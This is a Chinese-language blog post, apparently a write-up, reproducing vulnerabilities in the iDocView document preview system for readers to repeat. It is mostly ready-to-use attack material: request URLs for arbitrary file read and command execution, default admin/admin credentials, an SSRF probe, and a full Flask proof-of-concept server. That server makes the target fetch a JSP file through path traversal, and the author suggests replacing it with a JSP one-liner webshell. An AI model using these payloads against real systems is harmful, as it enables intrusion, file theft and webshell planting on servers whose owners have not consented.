I Doc View在线文档预览是一款在线文档预览系统。近期出现了多个高危漏洞,因此集中复现一下,有兴趣的童鞋可以收藏一下。#头条首发挑战赛#
高危
I Doc View存在代码执行漏洞,使得攻击者可以通过利用这个接口,触发服务器下载并解析恶意文件,从而导致远程命令执行漏洞。
这里展示一个读取本地文件的方法
访问:
url/doc/upload?token=testtoken&url=file:///C:/windows/win.ini&name=test.txt
响应结果如下:
提取生成的srcUrl,构造:
url/srcUrl
我这里是 url/data/test/2023/1210/10/101554_167_qTZPojt.txt
访问该链接,即可获取文件内容
高危
I Doc View存在代码执行漏洞,使得攻击者可以通过利用这个接口读取任意文件的内容。
构造payload:
url/system/cmd.json?cmd=type+c:\\Windows\win.ini
响应结果如下:
高危
系统存在默认弱口令,若未修改则可以登录。
访问
url/user/login #默认登录地址
默认账号密码
admin/admin
成功登录
高危
文档读取功能未进行限制,可以读取任意文件,触发ssrf。
构造
url/view/url?url=dnslog
访问链接,查看dnslog回显
成功触发ssrf
高危
I Doc View在线文档预览系统“/html/2word”的参数“url”存在文件上传漏洞,该漏洞存在于I Doc View的远程页面缓存功能中。由于应用程序无法完全验证用户输入URL的安全性,攻击者可以构建特殊的URL,使服务器下载恶意文件并执行任意代码。
iDocView < 13.10.1_20231115
在服务器上运行一个python脚本,代码如下:
from flask import Flask
import argparse
parse = argparse.ArgumentParser()
parse.add_argument("-port", type=int, help="Save port.", default=8888)
args = parse.parse_args()
app = Flask(__name__)
@app.route('/index.html')
def index():
return """<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>title</title>
<link rel="stylesheet" href="..\\..\\..\\docview\\1.jsp">
</head>
<body>
</body>
</html>"""
@app.route('/..\\..\\..\\docview\\1.jsp')
def jsp_file():
return '''<%
out.print("This is a test!");
%>'''
if __name__ == '__main__':
app.run(host="0.0.0.0", port=args.port)
在服务器上运行该代码并指定启动端口
python3 poc.py -port 8888
#可以指定任意端口
构造攻击链接:
url/html/2word?url=http://ip:port/index.html
在服务器上可以看到目标网站的访问记录
此时访问 url/1.jsp,已经成功被上传。这里用的是test语句,如果想要进一步利用,可以在python代码中将生成的jsp文件内容修改成jsp一句话。
近期爆出来的i doc view的漏洞应该都包含在内了,感谢您的观看,有问题欢迎留言交流~